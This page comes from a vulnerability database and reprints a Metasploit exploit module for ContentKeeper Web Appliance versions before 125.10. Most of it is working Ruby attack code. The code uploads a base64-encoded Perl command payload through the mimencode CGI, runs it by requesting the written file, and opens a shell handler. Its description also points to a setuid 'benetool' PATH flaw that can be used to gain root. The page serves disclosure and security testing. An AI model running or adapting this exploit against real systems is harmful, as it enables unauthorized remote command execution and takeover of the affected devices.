Lucene search
K

ContentKeeper Web Appliance < 125.10 Command Execution

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 19 Views

ContentKeeper Web Appliance < 125.10 Command Execution vulnerabilit

Code

                                                ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote

	include Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;		=&#62; &#39;ContentKeeper Web Remote Command Execution&#39;,
			&#39;Description&#39;	=&#62; %q{
				This module exploits the ContentKeeper Web Appliance. Versions prior
				to 125.10 are affected. This module exploits a combination of weaknesses
				to enable remote command execution as the Apache user. Following exploitation
				it is possible to abuse an insecure PATH call to &#39;ps&#39; etc in setuid &#39;benetool&#39;
				to escalate to root.
			},
			&#39;Author&#39; 	=&#62; [ &#39;patrick&#39; ],
			&#39;Arch&#39;		=&#62; [ ARCH_CMD ],
			&#39;License&#39;       =&#62; MSF_LICENSE,
			&#39;Version&#39;       =&#62; &#39;$Revision$&#39;,
			&#39;References&#39;    =&#62;
			[
				[ &#39;OSVDB&#39;, &#39;54551&#39;],
				[ &#39;OSVDB&#39;, &#39;54552&#39;],
				[ &#39;URL&#39;, &#39;http://www.aushack.com/200904-contentkeeper.txt&#39; ],
			],
			&#39;Privileged&#39;		=&#62; false,
			&#39;Payload&#39;        =&#62;
				{
					&#39;DisableNops&#39; =&#62; true,
					&#39;Space&#39;       =&#62; 1024,
					&#39;Compat&#39;      =&#62;
						{
							&#39;PayloadType&#39; =&#62; &#39;cmd&#39;,
							&#39;RequiredCmd&#39; =&#62; &#39;generic perl ruby telnet&#39;,
						}
				},			
			&#39;Platform&#39; =&#62; [&#39;unix&#39;],
			&#39;Targets&#39;  =&#62;
			[
				[ &#39;Automatic&#39;, { } ]
			],
			&#39;DisclosureDate&#39; =&#62; &#39;Feb 25 2009&#39;,
			&#39;DefaultTarget&#39; =&#62; 0))

			register_options(
			[
				Opt::RPORT(80),
			],self.class)
	end

	def check
		connect
		sock.put(&#34;GET /cgi-bin/ck/mimencode HTTP/1.0\r\n\r\n&#34;)
		banner = sock.get(-1,3)
		disconnect

		if (banner =~ /500 Internal/)
			return Exploit::CheckCode::Vulnerable
		end
			return Exploit::CheckCode::Safe
	end

	def exploit

		exp = &#34;#!/usr/bin/perl\n&#34;
		exp &#60;&#60; &#34;print \&#34;Content-type: text/html\\n\\n\&#34;\;\n\n&#34;
		exp &#60;&#60; &#34;system(\&#34;&#34;
		exp &#60;&#60; payload.encoded.gsub(&#39;&#34;&#39;, &#39;\&#34;&#39;)
		exp &#60;&#60; &#34;\&#34;);\n&#34;

		body = Rex::Text.encode_base64(exp)

		connect

		sploit = &#34;POST /cgi-bin/ck/mimencode?-u+-o+bak.txt HTTP/1.1\r\n&#34;
		sploit &#60;&#60; &#34;Host: #{datastore[&#39;RHOST&#39;]}\r\n&#34;
		sploit &#60;&#60; &#34;Content-Length: #{body.length}\r\n\r\n&#34;

		print_status(&#34;Uploading payload to target.&#34;)
		sock.put(sploit + body + &#34;\r\n\r\n&#34;)
		disconnect

		sleep(5)
		print_status(&#34;Calling payload...&#34;)
		connect
		req = &#34;GET /cgi-bin/ck/bak.txt HTTP/1.1\r\n&#34; # bak.txt is owned by apache, chmod 777 :) rwx
		req &#60;&#60; &#34;Host: #{datastore[&#39;RHOST&#39;]}\r\n&#34;
		sock.put(req + &#34;\r\n\r\n&#34;)

		handler
		disconnect
	end
end


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation